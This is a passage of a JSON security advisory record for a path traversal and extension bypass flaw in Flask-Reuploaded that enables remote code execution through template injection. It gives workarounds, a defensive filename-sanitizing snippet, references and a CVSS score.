  "details": "### Impact\nA critical path traversal and extension bypass vulnerability in Flask-Reuploaded allows remote attackers to achieve arbitrary file write and remote code execution through Server-Side Template Injection (SSTI).\n\n### Patches\nFlask-Reuploaded has been patched in version 1.5.0\n\n### Workarounds\n\n1. **Do not pass user input to the `name` parameter**\n2. Use auto-generated filenames only\n3. Implement strict input validation if `name` must be used\n\n```python\nfrom werkzeug.utils import secure_filename\nimport os\n\n# Sanitize user input before passing to save()\nsafe_name = secure_filename(request.form.get(\u0027custom_name\u0027))\n# Remove path separators\nsafe_name = os.path.basename(safe_name)\n# Validate extension matches policy\nif not photos.extension_allowed(photos.get_extension(safe_name)):\n    abort(400)\n    \nfilename = photos.save(file, name=safe_name)\n```\n\n### Resources\nThe fix is documented in the pull request, see https://github.com/jugmac00/flask-reuploaded/pull/180.\n\nA proper write-up was created by the reporter of the vulnerability, Jaron Cabral (https://www.linkedin.com/in/jaron-cabral-751994357/), but is not yet available as of time of this publication.",
  "id": "GHSA-65mp-fq8v-56jr",
  "modified": "2026-02-25T19:06:50Z",
  "published": "2026-02-25T19:06:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jugmac00/flask-reuploaded/security/advisories/GHSA-65mp-fq8v-56jr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27641"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jugmac00/flask-reuploaded/pull/180"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jugmac00/flask-reuploaded/commit/d64c6b2f71cb73734fc38baa0e3e156926361288"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jugmac00/flask-reuploaded"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flask-Reuploaded vulnerable to Remote Code Execution via Server-Side Template Injection"
}